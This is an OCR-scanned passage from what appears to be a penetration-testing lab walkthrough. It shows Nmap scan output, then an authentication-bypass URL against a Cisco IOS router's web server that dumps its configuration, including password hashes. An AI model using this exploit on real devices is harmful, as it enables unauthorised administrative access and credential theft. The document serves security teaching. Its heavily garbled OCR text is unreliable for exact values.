12 (The 1654 ports scanned but not shown below are in state: closed)
13 PORT  STATE SERVI CE

14  23/tcp open telnet

15 79/tcp open finger

16 80/tcp open http

17 Device type: router

18 Running: Cisco I0S 11.X 12. X

19 OsS details: Cisco I0OS 11.3 - 12.0(11), Cisco IOS

20 v11.14(CA)/12.0.2aT1/v12.0.3T

21 TCP Sequence Prediction: C ass=random positive increnents

OO~NOOUITRARWNE

22 Difficul ty=932 (Medium
23 I PID Sequence Generation: Al zeros

24

25 Host 172.16.100.2 appears to be up ... good.

26 Initiating SYN Stealth Scan agai nst 172.16.100.2 at 07:59

27 Adding open port 111/tcp

28 The SYN Stealth Scan took 3 seconds to scan 1657 ports.

29 For OSScan assuming that port 111 is open and port 1 is closed and
30 neither are firewalled

31 Interesting ports on 172.16.100. 2:

32 (The 1656 ports scanned but not shown below are in state: cl osed)
33 PORT STATE SERVI CE

34 111/tcp open rpchind

35 Device type: general purpose

36 Running: Linux 2.4.X 2.5.X

37 OS details: Linux Kernel 2.4.0 - 2.5.20

38 Uptime 0.276 days (since Tue May 8 05:21:40 2004)

39 TCP Sequence Prediction: C ass=random positive increments

40 Di fficul ty=3554623 (Good | uck!)
41 IPID Sequence Generation: Al zeros
42

43 Host 172.16.100.3 appears to be down, skipping it.
44  Host 172.16.100.4 appears to be down, skipping it.
45 Host 172.16.100.5 appears to be down, skipping it.

47  --output truncated---

49  Host 172.16.100. 254 appears to be down, skipping it.

50 Host 172.16.100.255 seens to be a subnet broadcast address (returned 1
51 extra pings). Skipping host.

52 Nmap run conpleted -- 255 | P addresses (2 hosts up) scanned in 17.758
53 seconds
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Two hosts are found and identified. 172.16.100.2 is the outside interface on
AMO3, and 172.166.100.1 is the router on the target network. You can see from
the output on line numbers 17-20 that the router platform and 10S version have
been identified. Because it is running a vulnerable version of I0S, and because it
is running a web server (line 16), the router might be exploitable using the HTTP
Configuration Arbitrary Administrative Access Vulnerability discussed earlier.
Line number 14 shows the router is running a telnet server on port 23.

3. Exploiting the system
Using a browser on AMO02, | enter the following URL
http://172.16.100.1

and get the following

[Ef Mozilla N =18
- File Edt View Go Bookmarks Tools ‘Window  Help
bl g
0% - » A W | & ripnzzas 1001/ =] 2a Search =
i Back Fopward Reload  Stop Pririt
r 4} Hame | "tE_UUkmarks tmuzwlla.urg lLale_stBui\ds
Prompt x|
{ -‘:?‘ Enter username and paseword for Vlevel 15 access™ at 172.16.100.1

User Name:

Password:

I Use Password Manager to remember these values.

coed |

s &l 2 EZ) | Transfering data from 172.16.100.7... @E o

| click the cancel button and then type the following URL
http://172.16.100.1/level/99/exec/show/config

The output is
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7500 flevel/99/exec/showlconfig - Mozilla

http: #4172.16.100.1 /level /99 exec/shaw/ canfig

s

7500

Using 779 out of 129016 hytes
|

version 11.3

service timestawps debug uptime

service timestawps log uptime

service password-encryption

|

hostnamwe 7500

|

enable secret 5 $13$3VOGHFTL90.gU2ZGEQS bV oiRmp .
enable password 7 1416160605047575

|

username admin password 7 0207005602085C72
ip subnet-zero

|

|

interface FastEthernet0/0

ip address 172.16.5.2 255.255.255.0
full-duplex

no mop enabled

|

interface FastEtherneti/0

Here is the full configuration, with line numbers added for reference.
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Usi ng 1208 out of 129016 bytes
version 11.3

service timestanps debug uptinme
service timestanps |og uptine
servi ce password-encryp